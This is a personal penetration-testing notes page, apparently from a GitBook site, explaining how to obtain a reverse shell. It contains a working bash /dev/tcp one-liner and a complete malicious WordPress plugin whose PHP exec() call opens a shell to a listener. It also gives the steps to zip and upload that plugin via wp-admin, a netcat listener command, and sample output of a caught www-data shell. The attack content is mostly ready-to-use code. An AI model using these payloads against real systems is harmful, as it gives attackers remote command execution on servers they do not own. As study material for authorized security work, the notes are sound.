πŸ‘¨β€πŸ’»
Jawad's Notes
  • πŸ‘¨β€πŸ«INFOSEC
    • πŸ•ΈοΈWeb
      • Burp Suite: Setting Foxyproxy
      • XSS
      • Wappalyzer
      • Directory Traversal
      • LFI
        • PHP Wrappers
        • RFI
      • Reverse Shell
        • Command Injection Quick Tips
      • File Upload
      • WPScan
      • SQL Injection
        • Schemas
        • SQLmap
        • MSSQL
        • MySQL
        • PostgreSQL
    • πŸ”§Tools
      • Whois
      • DNSRecon
      • DNSenum
      • nslookup
      • Netcat
        • Powercat
      • Nmap
        • Nmap Scripting Engine
        • Test-NetConnection
        • Grep
      • Server Message Block (SMB)
      • SNMP
      • SMTP
      • ExifTool
      • Search Engine Hacking
      • Source Control Hacking
      • Nessus
      • Canarytokens
      • Qualys SSL Server Test
      • Security Headers
      • theHarvester
      • Shodan
      • Gobuster
        • Dirb
      • Searchsploit
      • Password Cracking
        • Hashcat
        • John The Ripper
        • Hydra
        • hashID
        • CPU vs GPU
    • 🐧Linux
      • Symbols
      • cat
      • curl
      • openvpn
      • tcpdump
      • Remote Desktop
      • SmbShare
      • Tmux
      • Convert Windows-style line endings (CRLF) to Unix-style (LF)
      • SSH
    • πŸ–₯️Macros in Office
    • 🍎Enhancing Your MacOS Terminal Experience
    • 🚩CTF
      • SQL Injection
        • WHERE clause allowing retrieval of hidden data
        • Allowing login bypass
        • UNION attack, determining the number of columns returned by the query
        • UNION attack, finding a column containing text
        • UNION attack, retrieving data from other tables
        • UNION attack, retrieving multiple values in a single column
        • Querying the database type and version on Oracle
Powered by GitBook
On this page
  • Reverse Shell via Bash TCP
  • Reverse Shell via Wordpress Plugin
  1. INFOSEC
  2. Web

Reverse Shell

PreviousRFINextCommand Injection Quick Tips

Last updated 1 year ago

Reverse Shell via Bash TCP

We start by Listening in our host first ~$ nc -nvlp PORT_NUMBER ; then we execute the below command on the attacked server:

To ensure our reverse shell is executed via bash, make sure to add bash -c

bash -c "bash -i >& /dev/tcp/IP_ADDRESS/PORT_NUMBER 0>&1"

Check this by swissky.

Reverse Shell via Wordpress Plugin

Create a new wordpress plugin using the simple php file below

<?php

/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin
* Version: 1.0
* Author: Vince Matteo
* Author URI: http://www.sevenlayers.com
*/

exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/443 0>&1'");
?>

In order to upload the shell as a plugin, we need to zip it first then upload it as a plugin via wp-admin

zip reverse-shell.zip reverse-shell.php

after activating it, use netcat to listen on port 443 and catch the shell

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Desktop]
└─$ nc -lvp 443                          
listening on [any] 443 ...
connect to [IP_ADDRESS] from [IP_ADDRESS]
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@example:/var/www/html/wp-admin$ pwd
pwd
/var/www/html/wp-admin

Resources:

πŸ‘¨β€πŸ«
πŸ•ΈοΈ
Reverse Shell Cheat Sheet
https://sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell
https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#bash-tcp